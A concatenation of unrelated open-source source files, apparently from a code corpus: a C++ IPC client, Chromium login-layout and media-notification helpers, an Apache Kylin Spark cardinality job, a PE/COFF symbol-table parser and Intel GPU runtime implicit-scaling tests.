#include <minipsutil/minipsutil.h>
#include <export.hpp>
namespace cppipc {
EXPORT std::atomic<size_t>& get_running_command() {
// A bit of a cleaner way to create a global variable
static std::atomic<size_t> running_command;
return running_command;
}
EXPORT std::atomic<size_t>& get_cancelled_command() {
static std::atomic<size_t> cancelled_command;
return cancelled_command;
}
comm_client::comm_client(std::vector<std::string> zkhosts,
std::string name,
size_t num_tolerable_ping_failures,
std::string alternate_control_address,
std::string alternate_publish_address,
const std::string public_key,
const std::string secret_key,
const std::string server_public_key,
bool ops_interruptible):
object_socket(name, 2),
subscribesock(boost::bind(&comm_client::subscribe_callback, this, _1)),
num_tolerable_ping_failures(num_tolerable_ping_failures),
alternate_control_address(alternate_control_address),
alternate_publish_address(alternate_publish_address),
endpoint_name(name) {
init(ops_interruptible);
}
comm_client::comm_client(std::string name, void* zmq_ctx) :
object_socket(name, 2),
subscribesock(boost::bind(&comm_client::subscribe_callback, this, _1)),
endpoint_name(name) {
ASSERT_MSG(boost::starts_with(name, "inproc://"), "This constructor only supports inproc address");
bool ops_interruptible = true;
init(ops_interruptible);
}
void comm_client::init(bool ops_interruptible) {
get_running_command().store(0);
get_cancelled_command().store(0);
// connect the subscribesock either to the key "status" (if zookeeper is used),
// or to the alternate address if zookeeper is not used.
if(ops_interruptible) {
cancel_handling_enabled = true;
}
object_socket.set_receive_poller([=](){this->poll_server_pid_is_running();return this->server_alive;});
}
void comm_client::set_server_alive_watch_pid(int32_t pid) {
server_alive_watch_pid = pid;
}
void comm_client::poll_server_pid_is_running() {
if (server_alive_watch_pid != 0 && pid_is_running(server_alive_watch_pid) == false) {
server_alive = false;
}
}
reply_status comm_client::start() {
// create the root object proxy
object_factory = new object_factory_proxy(*this);
// now we flag that we are started (so that the ping thread can send pings)
// and begin the ping thread.
started = true;
ping_thread = new boost::thread([this] {
boost::unique_lock<boost::mutex> lock(this->ping_mutex);
while(!this->ping_thread_done) {
boost::system_time timeout =
boost::get_system_time() + boost::posix_time::milliseconds(1000);
this->ping_cond.timed_wait(lock, timeout);
lock.unlock();
if (this->ping_thread_done) return;
std::string ping_body = std::string("");
if(console_cancel_handler::get_instance().get_cancel_flag()) {
console_cancel_handler::get_instance().set_cancel_flag(false);
// Send "ctrlc<distinct_command_id>" in the ping body
ping_body += "ctrlc";
ping_body += std::to_string(get_cancelled_command().load());
}
// manually construct a call message to wait on the future
call_message msg;
prepare_call_message_structure(0, &object_factory_base::ping, msg);
graphlab::oarchive oarc;
cppipc::issue(oarc, &object_factory_base::ping, ping_body);
msg.body = oarc.buf;
msg.bodylen = oarc.off;
nanosockets::zmq_msg_vector reply;
int status = this->internal_call_impl(msg, reply, true, 5 /* 5 seconds timeout */);
lock.lock();
if (status == 0) {
server_alive = true;
ping_failure_count = 0;
} else {
++ping_failure_count;
if (ping_failure_count >= this->num_tolerable_ping_failures) {
server_alive = false;
}
}
}
});
start_status_callback_thread();
std::string cntladdress;
// Bring the control_socket up
if (alternate_control_address.length() > 0) {
cntladdress = alternate_control_address;
} else {
try {
cntladdress = object_factory->get_control_address();
} catch (ipcexception& except) {
// FAIL!! We cannot start
return except.get_reply_status();
}
}
cntladdress = convert_generic_address_to_specific(cntladdress);
control_socket = new nanosockets::async_request_socket(cntladdress, 1);
control_socket->set_receive_poller([=](){this->poll_server_pid_is_running();return this->server_alive;});
// connect the subscriber to the status address
if (alternate_publish_address.length() > 0) {
subscribesock.connect(alternate_publish_address);
} else {
std::string pubaddress;
try {
pubaddress = object_factory->get_status_publish_address();
} catch (ipcexception& except) {
// cannot get the publish address!
// FAIL!!! We are no longer started!
started = false;
stop_ping_thread();
return except.get_reply_status();
}
pubaddress = convert_generic_address_to_specific(pubaddress);
subscribesock.connect(pubaddress);
}
return reply_status::OK;
}
std::string comm_client::convert_generic_address_to_specific(std::string aux_addr) {
std::string ret_str;
// Has the server given us a "accept any TCP addresses" address?
// Then we must convert to the address we are connected to
// the server on
logstream(LOG_INFO) << "Possibly converting " << aux_addr << std::endl;
if(boost::starts_with(aux_addr, "tcp://0.0.0.0") ||
boost::starts_with(aux_addr, "tcp://*")) {
// Find port number in this address
size_t port_delimiter = aux_addr.find_last_of(':');
std::string port_num = aux_addr.substr(port_delimiter+1,
aux_addr.length()-(port_delimiter+1));
ret_str += endpoint_name;
// If there is a port number on this, take it off
// NOTE: This won't work on IPv6 addresses
port_delimiter = ret_str.find_last_of(':');
if(std::isdigit(ret_str[port_delimiter+1])) {
ret_str = ret_str.substr(0, port_delimiter);
}
ret_str += ':';
ret_str += port_num;
} else {
return aux_addr;
}
logstream(LOG_INFO) << "Converted " << aux_addr << " to " << ret_str << std::endl;
return ret_str;
}
comm_client::~comm_client() {
if (!socket_closed) stop();
if(object_factory != NULL) {
delete object_factory;
object_factory = NULL;
}
}
void comm_client::stop() {
if (!started) return;
stop_ping_thread();
stop_status_callback_thread();
// clear all status callbacks
clear_status_watch();
// close all sockets
object_socket.close();
if(control_socket != NULL) {
control_socket->close();
}
subscribesock.close();
delete control_socket;
socket_closed = true;
started = false;
}
void comm_client::stop_ping_thread() {
ping_mutex.lock();
if (!ping_thread) {
ping_mutex.unlock();
return;
} else {
// stop the ping thread
ping_thread_done = true;
ping_cond.notify_one();
ping_mutex.unlock();
ping_thread->join();
delete ping_thread;
ping_thread = NULL;
server_alive = false;
}
}
void comm_client::subscribe_callback(const std::string& msg) {
boost::lock_guard<boost::mutex> guard(status_buffer_mutex);
status_buffer.push_back(msg);
status_buffer_cond.notify_one();
}
void comm_client::status_callback_thread_function() {
std::vector<std::string> localbuf;
while(!status_callback_thread_done) {
localbuf.clear();
// loop on a condition wait for the buffer contents
{
boost::unique_lock<boost::mutex> buffer_lock(status_buffer_mutex);
while(status_buffer.empty() && !status_callback_thread_done) {
status_buffer_cond.wait(buffer_lock);
}
// swap out and get my own copy of the messages
std::swap(localbuf, status_buffer);
}
// take a local copy of the prefix_to_status_callback
// so we don't need to hold the lock to prefix_to_status_callback
// when issuing the callbacks. (that is at a risk of causing deadlocks)
decltype(prefix_to_status_callback) local_prefix_to_status_callback;
{
boost::lock_guard<boost::mutex> guard(this->status_callback_lock);
local_prefix_to_status_callback = prefix_to_status_callback;
}
// issue all the messages
for(auto& msg: localbuf) {
// fast exit if we are meant to stop.
if (status_callback_thread_done) break;
for(auto& cb: local_prefix_to_status_callback) {
if (boost::starts_with(msg, cb.first)) {
cb.second(msg);
}
}
}
}
}
void comm_client::start_status_callback_thread() {
if (status_callback_thread == NULL) {
// starts the callback thread for the status publishing
status_callback_thread = new boost::thread([this] {
this->status_callback_thread_function();
});
}
}
void comm_client::stop_status_callback_thread() {
// wake up and shut down the status callback thread
{
boost::unique_lock<boost::mutex> buffer_lock(status_buffer_mutex);
status_callback_thread_done = true;
status_buffer_cond.notify_one();
}
status_callback_thread->join();
delete status_callback_thread;
status_callback_thread = NULL;
}
void comm_client::add_status_watch(std::string prefix,
std::function<void(std::string)> callback) {
boost::lock_guard<boost::mutex> guard(this->status_callback_lock);
for(auto& cb: prefix_to_status_callback) {
if (cb.first == prefix) {
cb.second = callback;
return;
}
}
prefix_to_status_callback.emplace_back(prefix, callback);
subscribesock.subscribe(prefix);
}
void comm_client::remove_status_watch(std::string prefix) {
boost::lock_guard<boost::mutex> guard(this->status_callback_lock);
auto iter = prefix_to_status_callback.begin();
while (iter != prefix_to_status_callback.end()) {
if (iter->first == prefix) {
prefix_to_status_callback.erase(iter);
subscribesock.unsubscribe(prefix);
break;
}
++iter;
}
}
void comm_client::clear_status_watch() {
boost::lock_guard<boost::mutex> guard(this->status_callback_lock);
prefix_to_status_callback.clear();
}
int comm_client::internal_call_impl(call_message& call,
nanosockets::zmq_msg_vector& ret,
bool control,
size_t timeout) {
// If the socket is already dead, return with an unreachable
if (socket_closed) return EHOSTUNREACH;
nanosockets::zmq_msg_vector callmsg;
call.emit(callmsg);
// Control messages use a separate socket
if(control && control_socket != NULL) {
return control_socket->request_master(callmsg, ret, timeout);
}
return object_socket.request_master(callmsg, ret, timeout);
}
int comm_client::internal_call(call_message& call, reply_message& reply, bool control) {
if (!started) {
return ENOTCONN;
}
nanosockets::zmq_msg_vector ret;
int status = internal_call_impl(call, ret, control);
// if server is dead, we quit
if (server_alive == false) {
call.clear();
return EHOSTUNREACH;
}
if (status != 0) {
return status;
}
// otherwise construct the reply
reply.construct(ret);
return status;
}
size_t comm_client::make_object(std::string object_type_name) {
if (!started) {
throw ipcexception(reply_status::COMM_FAILURE, 0, "Client not started");
}
return object_factory->make_object(object_type_name);
}
std::string comm_client::ping(std::string pingval) {
if (!started) {
throw ipcexception(reply_status::COMM_FAILURE, 0, "Client not started");
}
return object_factory->ping(pingval);
}
void comm_client::delete_object(size_t object_id) {
if (!started) {
throw ipcexception(reply_status::COMM_FAILURE, 0, "Client not started");
}
size_t ref_cnt = 0;
try {
object_factory->delete_object(object_id);
ref_cnt = decr_ref_count(object_id);
} catch(...) {
// do nothing if we fail to delete. thats ok
}
if(ref_cnt == size_t(-1)) {
throw ipcexception(reply_status::EXCEPTION, 0, "Attempted to delete untracked object!");
}
}
// Returns new reference count of object
size_t comm_client::incr_ref_count(size_t object_id) {
boost::lock_guard<boost::mutex> guard(ref_count_lock);
auto ret = object_ref_count.insert(std::make_pair(object_id, 1));
if(!ret.second) {
ret.first->second++;
}
return ret.first->second;
}
// Returns new reference count of object, and size_t(-1) if object not found
size_t comm_client::decr_ref_count(size_t object_id) {
size_t ref_cnt;
{
boost::lock_guard<boost::mutex> guard(ref_count_lock);
auto ret = object_ref_count.find(object_id);
if(ret != object_ref_count.end()) {
if(ret->second > 1) {
ref_cnt = --ret->second;
} else if(ret->second == 1) {
object_ref_count.erase(ret);
ref_cnt = 0;
} else {
object_ref_count.erase(ret);
ref_cnt = ret->second;
}
} else {
ref_cnt = size_t(-1);
}
}
if (ref_cnt == 0) {
send_deletion_list({object_id});
}
return ref_cnt;
}
size_t comm_client::get_ref_count(size_t object_id) {
boost::lock_guard<boost::mutex> guard(ref_count_lock);
auto ret = object_ref_count.find(object_id);
if(ret != object_ref_count.end()) {
return ret->second;
}
return size_t(-1);
}
// Returns 0 if we sent the tracked objects, 1 if the sync point was not
// reached yet, and -1 if an error occurred while sending.
int comm_client::send_deletion_list(const std::vector<size_t>& object_ids) {
// Send tracked objects
call_message msg;
prepare_call_message_structure(0, &object_factory_base::sync_objects, msg);
graphlab::oarchive oarc;
cppipc::issue(oarc, &object_factory_base::sync_objects,
object_ids, false /* inactive list */);
msg.body = oarc.buf;
msg.bodylen = oarc.off;
// Receive reply. Not used for anything currently except an indicator of
// success.
reply_message reply;
int r = internal_call(msg, reply);
if(r == 0) {
return 0;
} else {
return -1;
}
}
} // cppipc
| 5,773 |
2,151 | <reponame>zipated/src
// Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "ash/login/ui/layout_util.h"
#include "ash/login/ui/non_accessible_view.h"
#include "ash/shell.h"
#include "ui/display/manager/display_manager.h"
#include "ui/views/layout/box_layout.h"
#include "ui/views/widget/widget.h"
namespace ash {
namespace login_layout_util {
views::View* WrapViewForPreferredSize(views::View* view) {
auto* proxy = new NonAccessibleView();
auto layout_manager =
std::make_unique<views::BoxLayout>(views::BoxLayout::kVertical);
layout_manager->set_cross_axis_alignment(
views::BoxLayout::CROSS_AXIS_ALIGNMENT_START);
proxy->SetLayoutManager(std::move(layout_manager));
proxy->AddChildView(view);
return proxy;
}
bool ShouldShowLandscape(const views::Widget* widget) {
// |widget| is null when the view is being constructed. Default to landscape
// in that case. A new layout will happen when the view is attached to a
// widget (see LockContentsView::AddedToWidget), which will let us fetch the
// correct display orientation.
if (!widget)
return true;
// Get the orientation for |widget|.
const display::Display& display =
display::Screen::GetScreen()->GetDisplayNearestWindow(
widget->GetNativeWindow());
display::ManagedDisplayInfo info =
Shell::Get()->display_manager()->GetDisplayInfo(display.id());
// Return true if it is landscape.
switch (info.GetActiveRotation()) {
case display::Display::ROTATE_0:
case display::Display::ROTATE_180:
return true;
case display::Display::ROTATE_90:
case display::Display::ROTATE_270:
return false;
}
NOTREACHED();
return true;
}
} // namespace login_layout_util
} // namespace ash
| 612 |
3,402 | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.kylin.engine.spark;
import org.apache.commons.cli.Option;
import org.apache.commons.cli.OptionBuilder;
import org.apache.commons.cli.Options;
import org.apache.hadoop.fs.Path;
import org.apache.hadoop.io.IntWritable;
import org.apache.hadoop.io.LongWritable;
import org.apache.hadoop.mapreduce.lib.output.TextOutputFormat;
import org.apache.kylin.common.util.AbstractApplication;
import org.apache.kylin.common.util.Bytes;
import org.apache.kylin.common.util.HadoopUtil;
import org.apache.kylin.common.util.OptionsHelper;
import org.apache.kylin.engine.mr.common.BatchConstants;
import org.apache.kylin.measure.hllc.HLLCounter;
import org.apache.spark.SparkConf;
import org.apache.spark.api.java.JavaPairRDD;
import org.apache.spark.api.java.JavaRDD;
import org.apache.spark.api.java.JavaSparkContext;
import org.apache.spark.api.java.function.PairFlatMapFunction;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import scala.Tuple2;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
public class SparkColumnCardinality extends AbstractApplication implements Serializable {
protected static final Logger logger = LoggerFactory.getLogger(SparkColumnCardinality.class);
public static final Option OPTION_TABLE_NAME = OptionBuilder.withArgName(BatchConstants.ARG_TABLE_NAME).hasArg()
.isRequired(true).withDescription("Table Name").create(BatchConstants.ARG_TABLE_NAME);
public static final Option OPTION_OUTPUT = OptionBuilder.withArgName(BatchConstants.ARG_OUTPUT).hasArg()
.isRequired(true).withDescription("Output").create(BatchConstants.ARG_OUTPUT);
public static final Option OPTION_PRJ = OptionBuilder.withArgName(BatchConstants.ARG_PROJECT).hasArg()
.isRequired(true).withDescription("Project name").create(BatchConstants.ARG_PROJECT);
public static final Option OPTION_COLUMN_COUNT = OptionBuilder.withArgName(BatchConstants.CFG_OUTPUT_COLUMN).hasArg()
.isRequired(true).withDescription("column count").create(BatchConstants.CFG_OUTPUT_COLUMN);
private Options options;
public SparkColumnCardinality() {
options = new Options();
options.addOption(OPTION_TABLE_NAME);
options.addOption(OPTION_OUTPUT);
options.addOption(OPTION_PRJ);
options.addOption(OPTION_COLUMN_COUNT);
}
@Override
protected Options getOptions() {
return options;
}
@Override
protected void execute(OptionsHelper optionsHelper) throws Exception {
String tableName = optionsHelper.getOptionValue(OPTION_TABLE_NAME);
String output = optionsHelper.getOptionValue(OPTION_OUTPUT);
int columnCnt = Integer.valueOf(optionsHelper.getOptionValue(OPTION_COLUMN_COUNT));
Class[] kryoClassArray = new Class[]{Class.forName("scala.reflect.ClassTag$$anon$1"),
Class.forName("org.apache.kylin.engine.mr.steps.SelfDefineSortableKey")};
SparkConf conf = new SparkConf().setAppName("Calculate table:" + tableName);
//set spark.sql.catalogImplementation=hive, If it is not set, SparkSession can't read hive metadata, and throw "org.apache.spark.sql.AnalysisException"
conf.set("spark.sql.catalogImplementation", "hive");
//serialization conf
conf.set("spark.serializer", "org.apache.spark.serializer.KryoSerializer");
conf.set("spark.kryo.registrator", "org.apache.kylin.engine.spark.KylinKryoRegistrator");
conf.set("spark.kryo.registrationRequired", "true").registerKryoClasses(kryoClassArray);
KylinSparkJobListener jobListener = new KylinSparkJobListener();
try (JavaSparkContext sc = new JavaSparkContext(conf)) {
sc.sc().addSparkListener(jobListener);
HadoopUtil.deletePath(sc.hadoopConfiguration(), new Path(output));
// table will be loaded by spark sql, so isSequenceFile set false
final JavaRDD<String[]> recordRDD = SparkUtil.hiveRecordInputRDD(false, sc, null, tableName);
JavaPairRDD<Integer, Long> resultRdd = recordRDD.mapPartitionsToPair(new BuildHllCounter())
.reduceByKey((x, y) -> {
x.merge(y);
return x;
})
.mapToPair(record -> {
return new Tuple2<>(record._1, record._2.getCountEstimate());
})
.sortByKey(true, 1)
.cache();
if (resultRdd.count() == 0) {
ArrayList<Tuple2<Integer, Long>> list = new ArrayList<>();
for (int i = 0; i < columnCnt; ++i) {
list.add(new Tuple2<>(i, 0L));
}
JavaPairRDD<Integer, Long> nullRdd = sc.parallelizePairs(list).repartition(1);
nullRdd.saveAsNewAPIHadoopFile(output, IntWritable.class, LongWritable.class, TextOutputFormat.class);
} else {
resultRdd.saveAsNewAPIHadoopFile(output, IntWritable.class, LongWritable.class, TextOutputFormat.class);
}
}
}
static class BuildHllCounter implements
PairFlatMapFunction<Iterator<String[]>, Integer, HLLCounter> {
public BuildHllCounter() {
logger.info("BuildHllCounter init here.");
}
@Override
public Iterator<Tuple2<Integer, HLLCounter>> call(Iterator<String[]> iterator) throws Exception {
HashMap<Integer, HLLCounter> hllmap = new HashMap<>();
while (iterator.hasNext()) {
String[] values = iterator.next();
for (int m = 0; m < values.length; ++m) {
String fieldValue = values[m];
if (fieldValue == null) {
fieldValue = "NULL";
}
getHllc(hllmap, m).add(Bytes.toBytes(fieldValue));
}
}
// convert from hashmap to tuple2(scala).
List<Tuple2<Integer, HLLCounter>> result = new ArrayList<>();
for (Map.Entry<Integer, HLLCounter> entry : hllmap.entrySet()) {
result.add(new Tuple2<>(entry.getKey(), entry.getValue()));
}
return result.iterator();
}
private HLLCounter getHllc(HashMap<Integer, HLLCounter> hllcMap, Integer key) {
if (!hllcMap.containsKey(key)) {
hllcMap.put(key, new HLLCounter());
}
return hllcMap.get(key);
}
}
}
| 3,064 |
14,668 | <reponame>zealoussnow/chromium<filename>components/media_message_center/mock_media_notification_item.cc<gh_stars>1000+
// Copyright 2021 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "components/media_message_center/mock_media_notification_item.h"
namespace media_message_center {
namespace test {
MockMediaNotificationItem::MockMediaNotificationItem() = default;
MockMediaNotificationItem::~MockMediaNotificationItem() = default;
base::WeakPtr<MockMediaNotificationItem>
MockMediaNotificationItem::GetWeakPtr() {
return weak_ptr_factory_.GetWeakPtr();
}
} // namespace test
} // namespace media_message_center
| 224 |
4,816 | /**
* @file CoffSymbolTable.cpp
* @brief Class for COFF symbol table.
* @copyright (c) 2017 Avast Software, licensed under the MIT license
*/
#include "retdec/pelib/PeLibInc.h"
#include "retdec/pelib/CoffSymbolTable.h"
namespace PeLib
{
CoffSymbolTable::CoffSymbolTable() : stringTableSize(0), numberOfStoredSymbols(0), m_ldrError(LDR_ERROR_NONE)
{
}
CoffSymbolTable::~CoffSymbolTable()
{
}
void CoffSymbolTable::read(InputBuffer& inputbuffer, unsigned int uiSize)
{
PELIB_IMAGE_COFF_SYMBOL symbol;
for (std::size_t i = 0, e = uiSize / PELIB_IMAGE_SIZEOF_COFF_SYMBOL; i < e; ++i)
{
symbol.Name.clear();
std::uint32_t Zeroes, NameOffset;
inputbuffer >> Zeroes;
inputbuffer >> NameOffset;
inputbuffer >> symbol.Value;
inputbuffer >> symbol.SectionNumber;
inputbuffer >> symbol.TypeComplex;
inputbuffer >> symbol.TypeSimple;
inputbuffer >> symbol.StorageClass;
inputbuffer >> symbol.NumberOfAuxSymbols;
symbol.Index = (std::uint32_t)i;
if (!Zeroes)
{
if (stringTableSize && NameOffset)
{
for (std::size_t j = NameOffset; j < stringTableSize && stringTable[j] != '\0'; ++j)
{
// If we have symbol name with length of COFF_SYMBOL_NAME_MAX_LENGTH and it
// contains non-printable character, stop there because it does not seem to be valid.
if (j - NameOffset == COFF_SYMBOL_NAME_MAX_LENGTH)
{
auto nonPrintableChars = std::count_if(symbol.Name.begin(), symbol.Name.end(), [](unsigned char c) { return !isprint(c); });
if (nonPrintableChars != 0)
break;
}
symbol.Name += stringTable[j];
}
}
}
else
{
for (std::size_t j = i * PELIB_IMAGE_SIZEOF_COFF_SYMBOL, k = 0; k < 8 && symbolTableDump[j] != '\0'; ++j, ++k)
{
symbol.Name += symbolTableDump[j];
}
}
i += symbol.NumberOfAuxSymbols;
inputbuffer.move(symbol.NumberOfAuxSymbols * PELIB_IMAGE_SIZEOF_COFF_SYMBOL);
symbolTable.push_back(symbol);
}
numberOfStoredSymbols = (std::uint32_t)symbolTable.size();
}
int CoffSymbolTable::read(ByteBuffer & fileData, std::size_t uiOffset, std::size_t uiSize)
{
// Check for overflow
if ((uiOffset + uiSize) < uiOffset)
{
return ERROR_INVALID_FILE;
}
std::size_t ulFileSize = fileData.size();
std::size_t stringTableOffset = uiOffset + uiSize;
if (uiOffset >= ulFileSize || stringTableOffset >= ulFileSize)
{
return ERROR_INVALID_FILE;
}
// Copy part of the file data into symbol table dump
symbolTableDump.assign(fileData.begin() + uiOffset, fileData.begin() + uiOffset + uiSize);
uiOffset += uiSize;
InputBuffer ibBuffer(symbolTableDump);
// Read size of string table
if (ulFileSize >= stringTableOffset + 4)
{
stringTable.resize(sizeof(std::uint32_t));
memcpy(&stringTableSize, fileData.data() + stringTableOffset, sizeof(uint32_t));
*reinterpret_cast<std::uint32_t *>(stringTable.data()) = stringTableSize;
uiOffset = stringTableOffset + sizeof(uint32_t);
}
if(ulFileSize > uiOffset)
{
if ((ulFileSize - uiOffset) < 4)
{
memcpy(&stringTableSize, fileData.data() + stringTableOffset, sizeof(uint32_t));
}
else if ((ulFileSize - uiOffset) == 4 && stringTableSize < 4)
{
stringTableSize = 4;
}
}
if (stringTableSize > ulFileSize || uiOffset + stringTableSize > ulFileSize)
{
stringTableSize = (ulFileSize - uiOffset) + 4;
}
// read string table
if (stringTableSize > 4)
{
stringTable.resize(stringTableSize);
memcpy(stringTable.data() + 4, fileData.data() + uiOffset, stringTableSize - 4);
}
read(ibBuffer, uiSize);
return ERROR_NONE;
}
LoaderError CoffSymbolTable::loaderError() const
{
return m_ldrError;
}
void CoffSymbolTable::setLoaderError(LoaderError ldrError)
{
if (m_ldrError == LDR_ERROR_NONE)
{
m_ldrError = ldrError;
}
}
std::size_t CoffSymbolTable::getSizeOfStringTable() const
{
return stringTableSize;
}
std::size_t CoffSymbolTable::getNumberOfStoredSymbols() const
{
return numberOfStoredSymbols;
}
std::uint32_t CoffSymbolTable::getSymbolIndex(std::size_t ulSymbol) const
{
return symbolTable[ulSymbol].Index;
}
const std::string & CoffSymbolTable::getSymbolName(std::size_t ulSymbol) const
{
return symbolTable[ulSymbol].Name;
}
std::uint32_t CoffSymbolTable::getSymbolValue(std::size_t ulSymbol) const
{
return symbolTable[ulSymbol].Value;
}
std::uint16_t CoffSymbolTable::getSymbolSectionNumber(std::size_t ulSymbol) const
{
return symbolTable[ulSymbol].SectionNumber;
}
std::uint8_t CoffSymbolTable::getSymbolTypeComplex(std::size_t ulSymbol) const
{
return symbolTable[ulSymbol].TypeComplex;
}
std::uint8_t CoffSymbolTable::getSymbolTypeSimple(std::size_t ulSymbol) const
{
return symbolTable[ulSymbol].TypeSimple;
}
std::uint8_t CoffSymbolTable::getSymbolStorageClass(std::size_t ulSymbol) const
{
return symbolTable[ulSymbol].StorageClass;
}
std::uint8_t CoffSymbolTable::getSymbolNumberOfAuxSymbols(std::size_t ulSymbol) const
{
return symbolTable[ulSymbol].NumberOfAuxSymbols;
}
}
| 2,095 |
778 | /*
* Copyright (C) 2021 Intel Corporation
*
* SPDX-License-Identifier: MIT
*
*/
#include "shared/test/common/fixtures/implicit_scaling_fixture.h"
TEST_F(ImplicitScalingTests, givenMultiTileDeviceWhenApiAndOsSupportThenFeatureEnabled) {
EXPECT_TRUE(ImplicitScalingHelper::isImplicitScalingEnabled(twoTile, true));
}
TEST_F(ImplicitScalingTests, givenSingleTileDeviceWhenApiAndOsSupportThenFeatureDisabled) {
EXPECT_FALSE(ImplicitScalingHelper::isImplicitScalingEnabled(singleTile, true));
}
TEST_F(ImplicitScalingTests, givenMultiTileAndPreconditionFalseWhenApiAndOsSupportThenFeatureDisabled) {
EXPECT_FALSE(ImplicitScalingHelper::isImplicitScalingEnabled(twoTile, false));
}
TEST_F(ImplicitScalingTests, givenMultiTileAndOsSupportWhenApiDisabledThenFeatureDisabled) {
ImplicitScaling::apiSupport = false;
EXPECT_FALSE(ImplicitScalingHelper::isImplicitScalingEnabled(twoTile, true));
}
TEST_F(ImplicitScalingTests, givenMultiTileAndApiSupportWhenOsDisabledThenFeatureDisabled) {
OSInterface::osEnableLocalMemory = false;
EXPECT_FALSE(ImplicitScalingHelper::isImplicitScalingEnabled(twoTile, true));
}
TEST_F(ImplicitScalingTests, givenSingleTileApiDisabledWhenOsSupportAndForcedOnThenFeatureEnabled) {
DebugManager.flags.EnableWalkerPartition.set(1);
ImplicitScaling::apiSupport = false;
EXPECT_TRUE(ImplicitScalingHelper::isImplicitScalingEnabled(singleTile, false));
}
TEST_F(ImplicitScalingTests, givenMultiTileApiAndOsSupportEnabledWhenForcedOffThenFeatureDisabled) {
DebugManager.flags.EnableWalkerPartition.set(0);
EXPECT_FALSE(ImplicitScalingHelper::isImplicitScalingEnabled(twoTile, true));
}
TEST_F(ImplicitScalingTests, givenMultiTileApiEnabledWhenOsSupportOffAndForcedOnThenFeatureDisabled) {
DebugManager.flags.EnableWalkerPartition.set(1);
OSInterface::osEnableLocalMemory = false;
EXPECT_FALSE(ImplicitScalingHelper::isImplicitScalingEnabled(twoTile, true));
}
TEST_F(ImplicitScalingTests, givenDefaultSettingsWhenCheckingAtomicsForSelfCleanupThenExpectFalse) {
EXPECT_FALSE(ImplicitScalingHelper::isAtomicsUsedForSelfCleanup());
}
TEST_F(ImplicitScalingTests, givenForceNotUseAtomicsWhenCheckingAtomicsForSelfCleanupThenExpectFalse) {
DebugManager.flags.UseAtomicsForSelfCleanupSection.set(0);
EXPECT_FALSE(ImplicitScalingHelper::isAtomicsUsedForSelfCleanup());
}
TEST_F(ImplicitScalingTests, givenForceUseAtomicsWhenCheckingAtomicsForSelfCleanupThenExpectTrue) {
DebugManager.flags.UseAtomicsForSelfCleanupSection.set(1);
EXPECT_TRUE(ImplicitScalingHelper::isAtomicsUsedForSelfCleanup());
}
TEST_F(ImplicitScalingTests, givenDefaultSettingsIsFalseWhenCheckingProgramSelfCleanupThenExpectFalse) {
EXPECT_FALSE(ImplicitScalingHelper::isSelfCleanupRequired(false));
}
TEST_F(ImplicitScalingTests, givenDefaultSettingsIsTrueWhenCheckingProgramSelfCleanupThenExpectTrue) {
EXPECT_TRUE(ImplicitScalingHelper::isSelfCleanupRequired(true));
}
TEST_F(ImplicitScalingTests, givenForceNotProgramSelfCleanupWhenDefaultSelfCleanupIsTrueThenExpectFalse) {
DebugManager.flags.ProgramWalkerPartitionSelfCleanup.set(0);
EXPECT_FALSE(ImplicitScalingHelper::isSelfCleanupRequired(true));
}
TEST_F(ImplicitScalingTests, givenForceProgramSelfCleanupWhenDefaultSelfCleanupIsFalseThenExpectTrue) {
DebugManager.flags.ProgramWalkerPartitionSelfCleanup.set(1);
EXPECT_TRUE(ImplicitScalingHelper::isSelfCleanupRequired(false));
}
TEST_F(ImplicitScalingTests, givenDefaultSettingsWhenCheckingToProgramWparidRegisterThenExpectTrue) {
EXPECT_TRUE(ImplicitScalingHelper::isWparidRegisterInitializationRequired());
}
TEST_F(ImplicitScalingTests, givenForceNotProgramWparidRegisterWhenCheckingRegisterProgramThenExpectFalse) {
DebugManager.flags.WparidRegisterProgramming.set(0);
EXPECT_FALSE(ImplicitScalingHelper::isWparidRegisterInitializationRequired());
}
TEST_F(ImplicitScalingTests, givenForceProgramWparidRegisterWhenCheckingRegisterProgramThenExpectTrue) {
DebugManager.flags.WparidRegisterProgramming.set(1);
EXPECT_TRUE(ImplicitScalingHelper::isWparidRegisterInitializationRequired());
}
TEST_F(ImplicitScalingTests, givenDefaultSettingsWhenCheckingToUsePipeControlThenExpectTrue) {
EXPECT_TRUE(ImplicitScalingHelper::isPipeControlStallRequired());
}
TEST_F(ImplicitScalingTests, givenForceNotUsePipeControlWhenCheckingPipeControlUseThenExpectFalse) {
DebugManager.flags.UsePipeControlAfterPartitionedWalker.set(0);
EXPECT_FALSE(ImplicitScalingHelper::isPipeControlStallRequired());
}
TEST_F(ImplicitScalingTests, givenForceUsePipeControlWhenCheckingPipeControlUseThenExpectTrue) {
DebugManager.flags.UsePipeControlAfterPartitionedWalker.set(1);
EXPECT_TRUE(ImplicitScalingHelper::isPipeControlStallRequired());
}
TEST_F(ImplicitScalingTests, givenDefaultSettingsWhenCheckingSemaphoreUseThenExpectFalse) {
EXPECT_FALSE(ImplicitScalingHelper::isSemaphoreProgrammingRequired());
}
TEST_F(ImplicitScalingTests, givenForceSemaphoreNotUseWhenCheckingSemaphoreUseThenExpectFalse) {
DebugManager.flags.SynchronizeWithSemaphores.set(0);
EXPECT_FALSE(ImplicitScalingHelper::isSemaphoreProgrammingRequired());
}
TEST_F(ImplicitScalingTests, givenForceSemaphoreUseWhenCheckingSemaphoreUseThenExpectTrue) {
DebugManager.flags.SynchronizeWithSemaphores.set(1);
EXPECT_TRUE(ImplicitScalingHelper::isSemaphoreProgrammingRequired());
}
TEST_F(ImplicitScalingTests, givenDefaultSettingsWhenCheckingCrossTileAtomicSyncThenExpectDefaultDefined) {
EXPECT_EQ(ImplicitScaling::crossTileAtomicSynchronization, ImplicitScalingHelper::isCrossTileAtomicRequired());
}
